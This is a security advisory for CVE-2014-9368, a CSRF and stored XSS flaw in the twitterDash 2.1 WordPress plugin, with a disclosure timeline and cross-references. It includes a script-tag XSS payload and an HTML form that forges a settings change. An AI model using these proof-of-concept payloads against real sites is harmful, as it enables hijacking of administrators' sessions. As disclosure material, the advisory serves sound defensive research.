WordPress twitterDash 2.1 CSRF / XSS

🗓️ 14 Dec 2014 00:00:00Reported by Manideep KType

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CSRF / XSS Vulnerability in twitterDash WordPress Plugin. Adds a field on the dashboard for twitter updates, vulnerable to combination of CSRF/XSS attack

Reporter	Title	Published	Views	Family All 8
CNVD	WordPress Plugin TwitterDash Cross-Site Request Forgery Vulnerability	26 Dec 201400:00	–	cnvd
CVE	CVE-2014-9368	19 Dec 201415:00	–	cve
Cvelist	CVE-2014-9368	19 Dec 201415:00	–	cvelist
EUVD	EUVD-2014-9190	7 Oct 202500:30	–	euvd
NVD	CVE-2014-9368	19 Dec 201415:59	–	nvd
Patchstack	WordPress TwitterDash Plugin <= 2.1 - CSRF and XSS	11 Dec 201400:00	–	patchstack
Prion	Cross site request forgery (csrf)	19 Dec 201415:59	–	prion
WPVulnDB	twitterDash 2.1 - CSRF & XSS	31 Dec 201420:19	–	wpvulndb

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# Title: CSRF / Stored XSS Vulnerability in twitterDash Wordpress Plugin   
# Author: Manideep K   
# CVE-ID: CVE-2014-9368  
# Plugin Homepage: https://wordpress.org/plugins/twitterdash/  
# Version Affected: 2.1 (probably lower versions)  
# Severity: High   
  
#About Plugin:  
twitterDash adds a field on the Dashboard. In this field you find the last(you can define how many) updates on the friends timeline of your twitter(http://www.twitter.com) account.You will see your friends profile images, usernames and updates, all the links that they have posted are active and the "@username" links to that users timeline. Enable the update panel and you can update your own timeline from your Dashboard. This plugin does not require the PHP cURL-extension, you can run this on every server.  
  
# Description:   
Vulnerable Parameter: all three text boxes, to name one - username_twitterDash  
Vulnerability Class:   
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29   
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))   
  
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.   
  
# Steps to Reproduce: (POC):  
After installing the plugin  
1. Goto settings -> TwitterDash  
2. Insert this payload  "><script>alert(32)</script>  into any/all fields  
Update options and see XSS in action  
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.   
  
  
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below  
  
  
<html>  
<body>  
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=twitterDash.php" method="POST">  
<input type="hidden" name="username_twitterDash" value="csrf baby" />  
<input type="hidden" name="password_twitterDash" value="hi" />  
<input type="hidden" name="count_twitterDash" value="hi" />  
<input type="hidden" name="update_twitterDash" value="Update Settings" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
  
# Mitigation:   
Plugin closed  
  
# Disclosure:  
2014-11-06: Author notification  
2014-11-20: WP Team action taken by closing the plugin as there is no response from author  
2014-12-09: Public Disclosure  
  
Credits:  
Manideep K  
Information Security Researcher  
https://in.linkedin.com/in/manideepk  
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14 Dec 2014 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.01001